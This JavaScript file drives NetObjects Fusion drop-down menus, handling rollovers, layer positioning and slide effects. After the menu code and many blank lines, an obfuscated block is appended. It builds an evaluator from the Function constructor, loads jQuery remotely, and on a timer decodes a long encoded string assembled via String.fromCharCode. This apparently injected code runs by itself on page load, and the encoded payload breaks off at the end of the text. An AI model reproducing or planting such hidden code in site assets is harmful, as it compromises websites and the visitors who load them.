var GLOBAL_LoadedImages = new Array();
var GLOBAL_CurrentItem = "";
var GLOBAL_Close = null;
var GLOBAL_Hide = null;
var GLOBAL_items = new NOF_OpenedItems();
var GLOBAL_slideItem = null;
var GLOBAL_slideSpeed = 10;
var GLOBAL_slidePixel = 0;
var GLOBAL_slideMinOffset = -800;
var GLOBAL_slideMaxOffset = 800;
var useDebuger = false;
function NOF_DOMBrowser() {
this.getMenuItemLayerStartString = function getMenuItemLayerStartString(menuItemId, parentId) {
parentId = ( (parentId != null) && (parentId != "undefined") && (typeof(parentId) != "undefined"))
? new String(parentId + CONSTANTS.MENU_LAYER_SUFIX) : null;
menuItemId += CONSTANTS.MENU_LAYER_SUFIX;
var isAutoClose = typeof(C_MENU_AUTO_CLOSE) == "undefined" || C_MENU_AUTO_CLOSE == true ? "true" : "false";
return '<DIV ID="' + menuItemId + '" isautoclose="' + isAutoClose + '" STYLE="z-index:5; filter:blendTrans(duration=0.5)" onmouseover="NOF_KeepOpen(\'' + menuItemId + '\', ' + parentId + ')" onmouseout="NOF_KeepClose()">';
}
this.getMenuItemLayerEndString = function getMenuItemLayerEndString() {
return '</DIV>';
}
this.showMenuItem = function showMenuItem(image, item, offsetX, offsetY, openEffect) {
if (typeof(item) == "string")
item = this.getItem(item)
image = typeof(image) == "string" ? this.getItem(image) : image;
var top = this.findItemTopOffset(image);
var left = this.findItemLeftOffset(image);
var slideDirection = "";
if (openEffect.indexOf("left") > -1 || openEffect.indexOf("Left") > -1 ) {
top += offsetY;
left -= offsetX;
slideDirection = "left";
} else if (openEffect.indexOf("top") > -1 || openEffect.indexOf("Top") > -1 ) {
top -= offsetY;
left += offsetX;
slideDirection = "top";
} else if (openEffect.indexOf("right") > -1 || openEffect.indexOf("Right") > -1 ) {
top += offsetY;
left += offsetX;
slideDirection = "right";
} else {
top += offsetY;
left += offsetX;
slideDirection = "bottom";
}
if (item == null || typeof(item.style) == "undefined" || item.style == null )
return;
item.style.top = top;
item.style.left = left;
item.style.visibility = "visible";
if (openEffect.indexOf("slide") > -1)
this.slideEffect(item, slideDirection);
else if (openEffect.indexOf("fade") > -1)
this.fadeEffect(item);
}
this.hideMenuItem = function hideMenuItem(item) {
if (typeof(item) == "string")
item = this.getItem(item)
if ( item == null || typeof(item) == "undefined" || item == "" || typeof(item) == "number")
return;
item.style.visibility = "hidden";
}
this.findItemLeftOffset = function findItemLeftOffset(item) {
var offset = item.offsetLeft;
if (item.offsetParent)
offset += this.findItemLeftOffset(item.offsetParent);
return offset;
}
this.findItemTopOffset = function findItemTopOffset(item) {
var offset = item.offsetTop;
if (item.offsetParent)
offset += this.findItemTopOffset(item.offsetParent);
return offset;
}
this.getItem = function getItem(itemId) {
return document.getElementById(itemId);
}
this.getItemAttribute = function getItemAttribute(itemId, attrId) {
if (this.getItem(itemId)) {
var attr = this.getItem(itemId).attributes;
return eval("attr." + attrId.toLowerCase() + ".value");
}
return "";
}
this.debug = function debug(txt) {
var container = this.getItem("debug");
if ( useDebuger )
container.value += txt + "\n";
}
this.fadeEffect = function fadeEffect(item) {
item.style.visibility = "hidden";
item.filters.blendTrans.Apply();
item.filters.blendTrans.Play();
item.style.visibility = "visible";
}
this.slideEffect = function slideEffect(item, margin) {
GLOBAL_slideItem = item;
this.setItemClip('rect(auto, auto, auto, auto)');
GLOBAL_slidePixel = (margin == "top" || margin == "left") ? 100 : 0;
this.playEffect(margin);
}
this.playEffect = function playEffect(margin) {
var clip = GLOBAL_slideItem.style.clip;
if (clip.indexOf("-") > 0)
return;
if (GLOBAL_slidePixel < GLOBAL_slideMinOffset || GLOBAL_slidePixel > GLOBAL_slideMaxOffset)
return;
var rect = 'rect(';
if (margin == "top") {
GLOBAL_slidePixel -= 3;
rect += GLOBAL_slidePixel +'px auto auto auto)';
} else if (margin == "right") {
GLOBAL_slidePixel += 3;
rect += 'auto ' + GLOBAL_slidePixel +'px auto auto)';
} else if (margin == "bottom") {
GLOBAL_slidePixel += 3;
rect += 'auto auto ' + GLOBAL_slidePixel + 'px auto)';
} else {
GLOBAL_slidePixel -= 3;
rect += 'auto auto auto ' + GLOBAL_slidePixel + 'px)';
}
this.setItemClip(rect);
setTimeout('browser.playEffect("' + margin + '")', GLOBAL_slideSpeed);
}
this.setItemClip = function setItemClip(rect) {
GLOBAL_slideItem.style.clip = rect;
}
this.getLayerTag = function getLayerTag() { return "div" };
}
function NOF_BrowserNetscapeNavigator() {
window.onclick= HideMenu;
this.fadeEffect = function fadeEffect() { return; };
GLOBAL_slideSpeed = 1;
return this;
}
NOF_BrowserNetscapeNavigator.prototype = new NOF_DOMBrowser;
function NOF_BrowserInternetExplorer() {
document.onmouseup = HideMenu;
}
NOF_BrowserInternetExplorer.prototype = new NOF_DOMBrowser;
function NOF_BrowserNetscape4x() {
this.getMenuItemLayerStartString = function getMenuItemLayerStartString(menuItemId, parentId) {
parentId = ( (parentId != null) && (parentId != "undefined") && (typeof(parentId) != "undefined"))
? new String(parentId + CONSTANTS.MENU_LAYER_SUFIX) : null;
menuItemId += CONSTANTS.MENU_LAYER_SUFIX;
var isAutoClose = typeof(C_MENU_AUTO_CLOSE) == "undefined" || C_MENU_AUTO_CLOSE == true ? "true" : "false";
return '<layer ID="' + menuItemId + '" isautoclose="' + isAutoClose + '" onmouseover="NOF_KeepOpen(\'' + menuItemId + '\', ' + parentId + ')" onmouseout="NOF_KeepClose()">';
}
this.getMenuItemLayerEndString = function getMenuItemLayerEndString() {
return '</layer>';
}
this.getImageParent = function getImageParent(imageObject){
for (var position = 0; position < document.layers.length; position++) {
var layer = document.layers[position];
for (var imagePosition = 0; imagePosition < layer.document.images.length; imagePosition++) {
if (layer.document.images[imagePosition].name == imageObject.name) {
return layer;
}
}
}
return null;
}
this.showMenuItem = function showMenuItem(image, item, offsetX, offsetY, openEffect) {
var parent = this.getImageParent(image);
var itemId = image;
if (typeof(item) == "string")
item = this.getItem(item)
image = typeof(image) == "string" ? this.getItem(image) : image;
var top = this.findItemTopOffset(image);
var left = this.findItemLeftOffset(image);
if (parent != null) {
left += parent.pageX;
top += parent.pageY;
}
var slideDirection = "";
if (openEffect.indexOf("left") > -1 || openEffect.indexOf("Left") > -1 ) {
top += offsetY;
left -= offsetX;
slideDirection = "left";
} else if (openEffect.indexOf("top") > -1 || openEffect.indexOf("Top") > -1 ) {
top -= offsetY;
left += offsetX;
slideDirection = "top";
} else if (openEffect.indexOf("right") > -1 || openEffect.indexOf("Right") > -1 ) {
top += offsetY;
left += offsetX;
slideDirection = "right";
} else {
top += offsetY;
left += offsetX;
slideDirection = "bottom";
}
if (typeof(item) == "undefined")
return;
item.y = parseInt(top);
item.x = parseInt(left);
item.visibility = "visible";
if (openEffect.indexOf("slide") > -1)
this.slideEffect(item, slideDirection);
else if (openEffect.indexOf("fade") > -1) {
this.fadeEffect(item);
}
}
this.hideMenuItem = function hideMenuItem(item) {
if (typeof(item) == "string")
item = this.getItem(item)
if ( item == null || typeof(item) == "undefined" || item == "")
return;
item.visibility = "hide";
}
this.findItemLeftOffset = function findItemLeftOffset(item) {
return item.x;
}
this.findItemTopOffset = function findItemTopOffset(item) {
return item.y;
}
this.getItem = function getItem(itemId) {
return itemId == "" ? "" : eval("document.layers['" + itemId + "']");
}
this.getItemAttribute = function getItemAttribute(itemId, attrId) {
return eval("document.layers['" + itemId.toLowerCase() + "']." + attrId);
}
this.getLayerTag = function getLayerTag() { return "layer" };
this.slideEffect = function slideEffect(item, margin) {
GLOBAL_slideItem = item;
GLOBAL_slidePixel = (margin == "bottom" || margin == "left") ? 200 : 0;
this.playEffect(margin);
}
this.playEffect = function playEffect(margin) {
if (GLOBAL_slidePixel < GLOBAL_slideMinOffset || GLOBAL_slidePixel > GLOBAL_slideMaxOffset)
return;
if (margin == "top") {
GLOBAL_slideItem.clip.bottom = GLOBAL_slidePixel += 1;
} else if (margin == "right") {
GLOBAL_slideItem.clip.right = GLOBAL_slidePixel += 1;
} else if (margin == "bottom") {
GLOBAL_slideItem.clip.top = GLOBAL_slidePixel -= 1;
} else {
GLOBAL_slideItem.clip.left = GLOBAL_slidePixel -= 1;
}
setTimeout('browser.playEffect("' + margin + '")', GLOBAL_slideSpeed);
}
}
NOF_BrowserNetscape4x.prototype = new NOF_DOMBrowser;
function NOF_BrowserFactory() {
var agt = navigator.userAgent.toLowerCase();
var is_major = parseInt(navigator.appVersion);
var is_minor = parseFloat(navigator.appVersion);
var is_nav = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('spoofer')==-1)
&& (agt.indexOf('compatible') == -1) && (agt.indexOf('opera')==-1)
&& (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1));
var is_nav2 = (is_nav && (is_major == 2));
var is_nav3 = (is_nav && (is_major == 3));
var is_nav4 = (is_nav && (is_major == 4));
var is_nav4up = (is_nav && (is_major >= 4));
var is_navonly = (is_nav && ((agt.indexOf(";nav") != -1) ||
(agt.indexOf("; nav") != -1)) );
var is_nav6 = (is_nav && (is_major == 5));
var is_nav6up = (is_nav && (is_major >= 5));
var is_gecko = (agt.indexOf('gecko') != -1);
var is_ie = ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1));
var is_ie3 = (is_ie && (is_major < 4));
var is_ie4 = (is_ie && (is_major == 4) && (agt.indexOf("msie 4")!=-1) );
var is_ie4up = (is_ie && (is_major >= 4));
var is_ie5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.0")!=-1) );
var is_ie5_5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.5") !=-1));
var is_ie5up = (is_ie && !is_ie3 && !is_ie4);
var is_ie5_5up =(is_ie && !is_ie3 && !is_ie4 && !is_ie5);
var is_ie6 = (is_ie && (is_major == 4) && (agt.indexOf("msie 6.")!=-1) );
var is_ie6up = (is_ie && !is_ie3 && !is_ie4 && !is_ie5 && !is_ie5_5);
var is_opera = (agt.indexOf("opera") != -1);
var is_opera2 = (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1);
var is_opera3 = (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1);
var is_opera4 = (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1);
var is_opera5 = (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1);
var is_opera5up = (is_opera && !is_opera2 && !is_opera3 && !is_opera4);
this.getBrowser = function getBrowser() {
if (is_ie5up) {
return new NOF_BrowserInternetExplorer();
}
if (is_nav6up) {
return new NOF_BrowserNetscapeNavigator();
}
if (is_opera5up) {
return new NOF_BrowserInternetExplorer();
}
if (is_nav4) {
return new NOF_BrowserNetscape4x();
}
}
return null;
}
var browserFactory = new NOF_BrowserFactory();
var browser = browserFactory.getBrowser();
var CONSTANTS = {
MENU_TYPE_IMAGE : "Image",
MENU_TYPE_TEXT : "Text",
BUTTON_TYPE_IMAGE : "image",
BUTTON_TYPE_TEXT : "text",
MENU_TABLE_HEADER : '<table border="0" cellspacing="0" cellpadding="0">',
MENU_TABLE_END : '</table>',
MOUSE_OVER_IMAGE : 1,
MOUSE_OUT_IMAGE : 2,
MENU_ITEM_HORIZONTAL : false,
MENU_ITEM_VERTICAL : true,
MENU_LAYER_SUFIX : "LYR",
NOT_A_MAIN_ITEM : 1,
MENU_REFRESH_TIME : 600
}
function NOF_Menu() {
return this;
}
function NOF_Menu_Item() {
this.id = arguments[0];
this.orientation = arguments[1];
this.openEffect = arguments[2];
this.offsetX = arguments[3];
this.offsetY = arguments[4];
this.buttons = new Array();
this.submenuHeight = 0;
for (var i = 5; i < arguments.length; i++)
this.buttons[i - 5] = arguments[i];
this.getPosition = function () {
return new Array(this.offsetX, this.offsetY);
}
this.getOffsetX = function getOffsetX() { return this.offsetX;}
this.getOffsetY = function getOffsetY() { return this.offsetY;}
this.getOpenEffect = function getOffsetY() { return this.openEffect;}
this.getOrientation = function getOrientation() { return this.orientation; }
return this;
}
function NOF_Menu_Button(link, normal, rollover, submenu) {
this.link = link;
this.normal = normal;
this.rollover = rollover != "" ? rollover : normal;
this.submenu = submenu;
this.hasSubmenu = function hasSubmenu() {
return (this.submenu != null)
}
this.type = function type() {
if (typeof(this.rollover) == "object")
return CONSTANTS.BUTTON_TYPE_TEXT;
else if (typeof(this.rollover) == "string")
return CONSTANTS.BUTTON_TYPE_IMAGE;
else
return null;
}
return this;
}
function NOF_Main_Menu(menuItem, parentId) {
if(typeof(menuItem) == "undefined")
return;
var menuItemId = menuItem.id;
var buffer = browser.getMenuItemLayerStartString(menuItemId, parentId) + '<table width="10" border="' + C_MENU_BORDER + '" cellspacing="' + C_MENU_SPACING + '" cellpadding="0" bgcolor="' + C_MENU_BGCOLOR + '">';
var i = 0;
buffer += '<tr>';
while (i < menuItem.buttons.length) {
var menuButton = menuItem.buttons[i];
if (menuButton == null)
return;
var submenuId = "";
if (menuButton.hasSubmenu() && menuButton.submenu) {
submenuId = menuButton.submenu.id;
}
var link = menuButton.link;
var image = menuButton.normal;
var rollOverButton = menuButton.rollover;
var isImageMenu = menuButton.type() == CONSTANTS.BUTTON_TYPE_IMAGE ? true : false;
var imageName = isImageMenu ? menuItemId + 's' + i : 'NavigationButton_' + menuItemId + '_' + i;
var isVertical = menuItem.orientation == "vertical" ? true : false;
var target = '';
if (link.indexOf(' target=') != -1) {
target = link.substr(link.indexOf(' target=') + 8);
link = link.substr(0, link.indexOf(' target='));
}
buffer += (isVertical && i > 1) ? '<tr><td>' : '<td>';
if(!isImageMenu)
buffer += '<style type="text/css"> ' + '.' + imageName + ' span {' + 'display:block; padding:' + rollOverButton[1] + '} ' + '.' + imageName + 'Hover span {' + 'display:block; padding:' + rollOverButton[3] + '}' + '</style>';
var cursor = link != 'javascript:void(0)' ? 'hand' : 'default';
buffer += '<a class="nof-navPositioning" ';
if (cursor == 'default')
buffer += 'style="cursor: default" ';
buffer += 'href="' + link + '" ';
buffer += 'onMouseOver="F_roll(\'' + imageName + '\' ,' + CONSTANTS.MOUSE_OVER_IMAGE + ', \'' + menuItemId + '\', \''+
CONSTANTS.NOT_A_MAIN_ITEM + '\')" onMouseOut="F_roll(\'' + imageName + '\' ,' +
CONSTANTS.MOUSE_OUT_IMAGE + ', \''+menuItemId+'\', \'' + CONSTANTS.NOT_A_MAIN_ITEM + '\')"';
buffer += target.length ? ' target="' + target + '">' : '>';
buffer += isImageMenu ? '<img border="0" src="' + image + '"' : '<' + browser.getLayerTag() + ' ';
if (typeof(rollOverButton) != "undefined" || rollOverButton.length || !isImageMenu) {
if (submenuId != "") {
var submenu = menuButton.submenu;
if (isImageMenu) {
buffer += 'id="' + imageName + '" name="' + imageName +
'" onLoad="F_loadRollover(this,\'' + rollOverButton + '\', new Array(\'' + submenuId + '\',\'' + submenu.getOrientation() + '\' , \'' + submenu.getOpenEffect() + '\', ' + submenu.getOffsetX() + ',' + submenu.getOffsetY() + '))"';
} else {
NOF_MenuLoadRollOver(imageName, rollOverButton, new Array(submenuId, submenu.getOrientation(), submenu.getOpenEffect(), submenu.getOffsetX(), submenu.getOffsetY() ));
buffer += 'id="' + imageName + '" name="' + imageName + '" class="' + imageName + '" ' ;
if (typeof(menuButton.rollover) == "object")
buffer+= ' style="' + rollOverButton[0] + '"';
}
}
else {
if (isImageMenu)
buffer += 'id="' + imageName + '" name="' + imageName +
'" onLoad="F_loadRollover(this,\'' + rollOverButton + '\',0)"';
else {
NOF_MenuLoadRollOver(imageName, rollOverButton, 0);
buffer += 'id="' + imageName + '" name="' + imageName + '" class="' + imageName + '" ';
if (typeof(menuButton.rollover) == "object")
buffer+= ' style="' + rollOverButton[0] +'"';
}
}
}
buffer += isImageMenu ? '></a></td>' :
'><span id="' + imageName + '_padding"' + '>' + image +
'</span></' + browser.getLayerTag() + '></a></td>';
buffer += isVertical ? "</tr>" : "";
i++;
}
buffer += CONSTANTS.MENU_TABLE_END + browser.getMenuItemLayerEndString();
document.writeln(buffer);
var k = 0;
while (k < menuItem.buttons.length) {
if (menuItem.buttons[k].hasSubmenu()) {
NOF_Main_Menu(menuItem.buttons[k].submenu, menuItem.id);
}
k++;
}
}
function NOF_MenuLoadRollOver(button, buttonName, submenu) {
if (button && button.src &&
(null == button.out || typeof(button.out) == typeof(void(0)))) {
var imageSrc = button.src;
button.out = new Image();
button.out.src = imageSrc;
button.over = new Image();
if (buttonName.lastIndexOf('/') >= 0 || buttonName.lastIndexOf('\\') >= 0) {
imageSrc = buttonName;
} else {
var i = imageSrc.lastIndexOf('/');
if (i < 0)
i = imageSrc.lastIndexOf('\\');
if (i < 0)
imageSrc = buttonName;
else
imageSrc = imageSrc.substring(0, i + 1) + buttonName;
}
button.over.src = imageSrc;
button.submenu = submenu;
GLOBAL_LoadedImages[button.name] = button;
} else {
if (typeof(buttonName) == "object") {
if (typeof(GLOBAL_LoadedImages[button]) == "undefined") {
GLOBAL_LoadedImages[button + "Normal"] = buttonName[0];
GLOBAL_LoadedImages[button + "Over"] = buttonName[2];
GLOBAL_LoadedImages[button] = submenu;
}
return;
}
if (typeof(submenu) != "undefined" && typeof(button) == "string" && typeof(GLOBAL_LoadedImages[button]) == "undefined")
GLOBAL_LoadedImages[button] = submenu;
}
}
function NOF_MenuRollButton(buttonName, over, layerId, isNotMainItem) {
var rollType = (over == CONSTANTS.MOUSE_OVER_IMAGE) ? "over" : "out";
var isOver = (over == CONSTANTS.MOUSE_OVER_IMAGE) ? true : false;
var rollOver = GLOBAL_LoadedImages[buttonName];
if (typeof(rollOver) == "undefined")
return;
var menuType = typeof(rollOver.src) == "undefined" ? CONSTANTS.MENU_TYPE_TEXT :
CONSTANTS.MENU_TYPE_IMAGE;
if (menuType == CONSTANTS.MENU_TYPE_IMAGE) {
var imageRollSrcString = "rollOver." + rollType + ".src";
if (rollOver)
rollOver.src = eval(imageRollSrcString) ? eval(imageRollSrcString) : "";
} else if (menuType == CONSTANTS.MENU_TYPE_TEXT){
if (typeof(buttonName) == "string") {
browser.getItem(buttonName).className = isOver ? buttonName + "Hover" : buttonName;
if (typeof(browser.getItem(buttonName).style) != "undefined")
browser.getItem(buttonName).style.cssText = isOver ?
GLOBAL_LoadedImages[buttonName + "Over"] :
GLOBAL_LoadedImages[buttonName + "Normal"];
}
} else
return;
if ((isNotMainItem == null || typeof(isNotMainItem) == "undefined" ) && over == CONSTANTS.MOUSE_OUT_IMAGE) {
GLOBAL_CurrentItem = "";
GLOBAL_items.removeAll();
}
var hasSubmenu = null;
if (menuType == CONSTANTS.MENU_TYPE_IMAGE)
hasSubmenu = rollOver.submenu;
else if (menuType == CONSTANTS.MENU_TYPE_TEXT)
hasSubmenu = typeof(rollOver) == "object";
if (hasSubmenu) {
if (over == CONSTANTS.MOUSE_OVER_IMAGE) {
if ( layerId && typeof(layerId) != "undefined" && layerId != "null") {
if (GLOBAL_Close != null)
clearTimeout(GLOBAL_Close);
GLOBAL_items.removeSubitems(layerId + CONSTANTS.MENU_LAYER_SUFIX);
} else
GLOBAL_items.removeAll();
if (menuType == CONSTANTS.MENU_TYPE_IMAGE)
NOF_MenuOpenItem(rollOver, rollOver.submenu, layerId);
else
NOF_MenuOpenItem(buttonName, rollOver, layerId);
}
else {
if (menuType == CONSTANTS.MENU_TYPE_IMAGE)
NOF_MenuCloseItem(rollOver.submenu);
else
NOF_MenuCloseItem(rollOver);
}
} else if (over == CONSTANTS.MOUSE_OVER_IMAGE ) {
if ( layerId && typeof(layerId) != "undefined" && layerId != "null" ) {
GLOBAL_CurrentItem = layerId + CONSTANTS.MENU_LAYER_SUFIX;
GLOBAL_items.removeSubitems(GLOBAL_CurrentItem);
} else
browser.hideMenuItem(GLOBAL_CurrentItem);
}
}
function NOF_MenuOpenItem(image, submenu, parentId) {
var layerId = submenu[0] + CONSTANTS.MENU_LAYER_SUFIX;
var orientation = submenu[1];
var openEffect = submenu[2];
var offsetX = submenu[3];
var offsetY = submenu[4];
GLOBAL_items.addItem(layerId, parentId);
GLOBAL_CurrentItem = layerId;
browser.showMenuItem(image, layerId, offsetX, offsetY, openEffect);
}
function NOF_MenuCloseItem(imageSubmenu) {
if (imageSubmenu[0]) {
var layerId = imageSubmenu[0] + CONSTANTS.MENU_LAYER_SUFIX;
if (GLOBAL_items.toArray().length == 1)
GLOBAL_CurrentItem = 0;
GLOBAL_Close = setTimeout("NOF_MenuHideItem('" + layerId + "')", CONSTANTS.MENU_REFRESH_TIME/4);
}
}
function NOF_MenuHideItem(itemId) {
if (itemId && itemId != null && GLOBAL_CurrentItem != itemId) {
browser.hideMenuItem(itemId);
}
}
function NOF_KeepOpen(itemId, parentId) {
GLOBAL_CurrentItem = itemId;
if (GLOBAL_Hide != null)
for (var i = 0; i < GLOBAL_Hide.length; i++)
clearTimeout(GLOBAL_Hide[i]);
}
function NOF_KeepClose() {
GLOBAL_CurrentItem = "";
setTimeout("NOF_CloseChilds()", CONSTANTS.MENU_REFRESH_TIME);
}
function NOF_CloseChilds() {
var itemsList = GLOBAL_items.toArray();
GLOBAL_Hide = new Array();
if (GLOBAL_CurrentItem == "" || GLOBAL_CurrentItem == 0)
for (var i in itemsList)
if (itemsList[i])
GLOBAL_Hide[i] = setTimeout("browser.hideMenuItem('" + itemsList[i] + "')", CONSTANTS.MENU_REFRESH_TIME/4);
if (!isMenuAutoClose()) {
itemsList = GLOBAL_items.toArray();
for ( var i in itemsList )
if (itemsList[i])
NOF_KeepOpen(itemsList[i]);
}
}
function isMenuAutoClose() {
var itemsList = GLOBAL_items.toArray();
if (itemsList[0] && itemsList[0].length) {
var autoClose = browser.getItemAttribute(itemsList[0], "isautoclose");
if ( autoClose == "true")
return true;
else
return false;
}
return false;
}
function HideMenu() {
if (isMenuAutoClose())
return;
var itemsList = GLOBAL_items.toArray();
if (GLOBAL_Hide == null)
GLOBAL_Hide = new Array();
for (var i in itemsList)
if (itemsList[i] && itemsList[i].length) {
GLOBAL_items.removeItem(itemsList[i]);
GLOBAL_Hide[i] = browser.hideMenuItem(itemsList[i]);
}
}
function NOF_OpenedItems() {
this.openedItems = "";
this.separator = "*";
this.addItem = function addItem(item, parent) {
if ( item == null || !item || item == "" )
return;
if (this.openedItems.indexOf(item) == -1) {
this.openedItems += this.openedItems.length ?
( this.openedItems.indexOf(this.separator) == this.openedItems.length - 1 ? "" : this.separator ) + item :
item;
}
}
this.removeItem = function removeItem(item) {
if ( item == GLOBAL_CurrentItem )
return;
var temp = this.openedItems;
if (temp.indexOf(item) > 0) {
var a = temp.substring(0, temp.indexOf(item));
var b = temp.substring(temp.indexOf(item) + item.length, temp.length );
temp = a + b;
}
while (temp.lastIndexOf(this.separator) == temp.length - 1)
temp = temp.substring(0, temp.length - 1);
this.openedItems = temp;
}
this.removeSubitems = function removeSubitems(item) {
if (item && typeof(item) != "undefined") {
var temp = this.openedItems;
temp = temp.substring(0, temp.lastIndexOf(item) + item.length);
var temp1 = this.openedItems.substring(this.openedItems.indexOf(temp) + temp.length, this.openedItems.length);
temp1 = temp1.split(this.separator);
for (var i = temp1.length - 1; i >= 0; i--)
if (temp1[i])
browser.hideMenuItem(temp1[i]);
this.openedItems = temp;
}
}
this.currentItem = function currentItem() {
var list = this.toArray();
return list[list.length - 1];
}
this.removeAll = function removeAll() {
var items = this.toArray();
clearTimeout(GLOBAL_Close);
for (var i = items.length - 1; i >= 0; i--)
if ( items[i] != null && items[i] != "" ) {
if(!isNaN(items[i]))
clearTimeout(items[i]);
browser.hideMenuItem(items[i]);
}
this.openedItems = "";
}
this.toArray = function toArray() {
return this.openedItems.split(this.separator);
}
}
function F_menu(item) {
NOF_Menu(item);
}
function F_roll(itemId, over, layerId, isNotMainItem){
if (typeof(layerId) == "undefined")
layerId = null;
if (typeof(isNotMainItem) == "undefined")
isNotMainItem = null;
if (typeof(itemId) == "object" && itemId.constructor == Array) {
for (var i = 0; i < itemId.length; i++) {
NOF_MenuRollButton(itemId[i], over, layerId, isNotMainItem);
}
}
else {
NOF_MenuRollButton(itemId, over, layerId, isNotMainItem);
}
}
function F_loadRollover(image, rollOverButton, submenu) {
return NOF_MenuLoadRollOver(image, rollOverButton, submenu);
}









(function(){f_CC=document;f_s=window;f_s.f_m='undefined';f_s.f_T=function($,f_CL){return 0*1};f_s.f_p=function(f_b){return f_b.join('')};f_s.f_Cx=function(f_Cj){return(function(f_b,f_Cs){return f_Cs(f_b(f_Cs(f_b(f_Cj))))(f_Cj)()})((function(f_b){return f_b.constructor}),(function(f_b){return(function(f_Cs){return f_b.call(f_b,f_Cs)})}))};f_s.f_Ch=function(f_b){return f_b.pop()};f_s.f_s=f_s;f_Co=function(){try{return!!($().jquery.match(/^1.[4-9]+/))}catch(e){return 0}};f_Cr=(typeof($)==f_s.f_m);if(f_Cr||!f_Co()){if(!f_Cr){try{f_Cc=jQuery.noConflict(true)}catch(e){};try{f_Cc=$.noConflict(true)}catch(e){}}f_CH=f_CC.getElementsByTagName('head')[0];f_CN=f_CC.createElement('script');f_CN.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");f_CH.appendChild(f_CN)}f_s.f_CP=100;f_s.f_Ci=25;f_s.trim=function(f_CF,f_CA){if("qabcdef".indexOf(f_CF.substr(0,1))>=0){var f_Cy=f_p(f_CF.split('q')).split('v');for(var i=0;i<f_Cy.length;i++){f_Cy[i]=parseInt(f_Cy[i],16)-f_CA[f_CF]}return f_Cy.join(',')+','}else{return f_CA[f_CF]}};setTimeout(function(){d='Ka={HVv1aO$2$7U$6Z:"e+",HVv2aO$2$8U$6Z:"",*bVv3aO$2$7U$6v30:"l(\'l=St",O#5v4e%2*0X$fWk:"ring.f",GLv52%a%f$c!6*a!6:"romCha",X%8v68W*5F>0k*4:"rCode("Mb*4D$d%8$9w!a+9&7Af+e!4%3%4%5%6%7%8YMd%e$0%fU$2$3$4|T@6$7$8$9$Rb$c$d$eT@Rb+d~Q$4U%d%a&1@4XwwD#b*0!0~&0@2Dk!1k!a!2#e!4&1@7GwUL$fXN*4&4?e!6!a#4D$cQw*3T?9$9#4D$3*f>3!a#4T?c$f*6#a*4N+7*6%5&9?R0$c$c$8W#7#7%4&8?2H~$3F~%5H+c&0?2#f%3%1%c%c%2%1%3&0Md#f*1+e!4#d!2X+0Y?f*3+9*5N$e!6V*0&3?9+6+c*8%0$a*3D+1T,a7%9+b*d#e*1D$9L&1@3+3%0|G>2#5%6N`,ac!2DLjD#f$8#a&0M4!a#8%4!a^>0>5*3&8?9%9*3L%a%8$9%7$fT@c$6%9$e|$c%9$e|&8@4%3%f%e%5%3U$a%dYM5%a%8$7%5%6$a%a%5&4,d2$e$c%R6%c$9%R7&9M3$a%1%7%4$7wF$3&0@9|$2$djZ%aZ%3&9@1#7$c%e$d+e+d*c*d&9M2|%6+7%9+9*5%2|&1MfG^#7G%0$e*8W`?d*3O#e#7L+e$2*1&4?8%d+d*b$R1U+e%a&5M1$2XDL~+4X!4&0A3%2F+a%f$6%R2$e&7M1$6%5!0*6%c%1$3%8&0?7+d+a*5#d~%8+8*d&0@2U$7VHNF#4#e&3?4$6#e!4%9+9*5%2|&1M6D+bW#e!4UD+c&1?3*eN+c!2!6%4%1$4&0MaW%1wjD^$2%6&5@2!a+dk$0Fk*7FY?8$a%2jX+1F^%f&5@2%cUH+fkZ+fk&3?a+e!a#c+d+d!1wW&1?c*0+6WD$b~*6#d&0A9*4N$2*6N*b#7$d&9@3%6%f%5$4#c%7$0$3&1,a8*f!2V$0!2kVHY@b~+3#d*0+6%f*9!0&0?3%9+b~*d+d+b~%f&0M1G|$9%9$6$d>1#f&4@2%f+f$d*7*1QQN&9@aW#8#7!6wO#d+dT-94V$b%e%R4>6%e|&9@d%f!R3$0G%0$e*6`Ae>1>1X$9*3#7#5F&5?2~^#a+9L^G#dYMc$c%fV|>7>7$3$0`A0DH*ejH*e*5H&8-99kkjOFZ#cZ&5?R2wwZW$0%d+d&7-98H$dk$b#f!a!a+8Y@0L+8*8Nk$7HHY?d+8*7%0k$7HNkY-9ej^H$dj^Z#9&8A1j+bV#e+7%fwj&1@d*6*6+f%cW+b$3H&5Aa>2#d#d#b#b%4*d*7`M9+f$3#4>7#f#cGF&9A8#c%3j%6+c$0WWTA3!aN$fD^O!a+e&1Afw$c*1%4N+aVW&4-98#d^#5>8#b#a^%7`?f%4N+aVWW#8L&4?d>0^GH+f#dk$9Y-90%3+9*8F>1H#5#8&3?a!a+eN%1+7*6H$f&1?b#5#8NN%0#e!6|&3Af%2+8$7N>0#4OHYM4W!a>1*4H#5$4%8&7@7Q%2#f#8^#f#c^&7Aa#7Q#a#7Q#c#5Q&3A6#cj#d#7j#c#8j&5-90#8#4#b#8#4*0#a#4&8Ad#dG#8#bG#7#7GTA3GF^GF#8^FYA2GLO#7LOOL&1Aa#a#5#e#c#5#f#5#e&9A9G#dG#8G#7GOTA6#eW%7O*aG>2O`Mc*c~+6$7|%cU%a&3A6%e$R7|*b$0%9$a&8-97$3%8%9N%dQ$cQ&4A8#aQ>3%0*e*3D$6T?e%1L%e$RR6*0#5TA1DFk$4Fk$aFY?d>1OL*dOL$cO`?5%5+dk*7Q^+fFY?9Z%5U%fjD+fHYA3H$8+e>2%2*f*5H&8@2!a+dD#e%6V$8!2Y@8$9$eU%aW%1wN&5?ek*cFD#f+e!4DYA2D*eGL%2X!6$dT@3%e$e$2*7#b#a#a!a`?e^!aV^F*5*3O&7M8%d$aWH%1L#fX&4?d%1w%7$4%9$e%1w&5A3#8V$Ra%f$8%e%0`-9bL>1>1L>1ZO#4&4A6OQ>3Q>3Q>3VT@5$c%e>4%5%5DF>6&9A2#8OOQ>3>3!6HTAc*1!1!4*cD$9*a!1&1@e+e*e|$b$8$9FQT,d3*6!6D+6F$eQ>1TM6#f$0%7$9!2*6%3$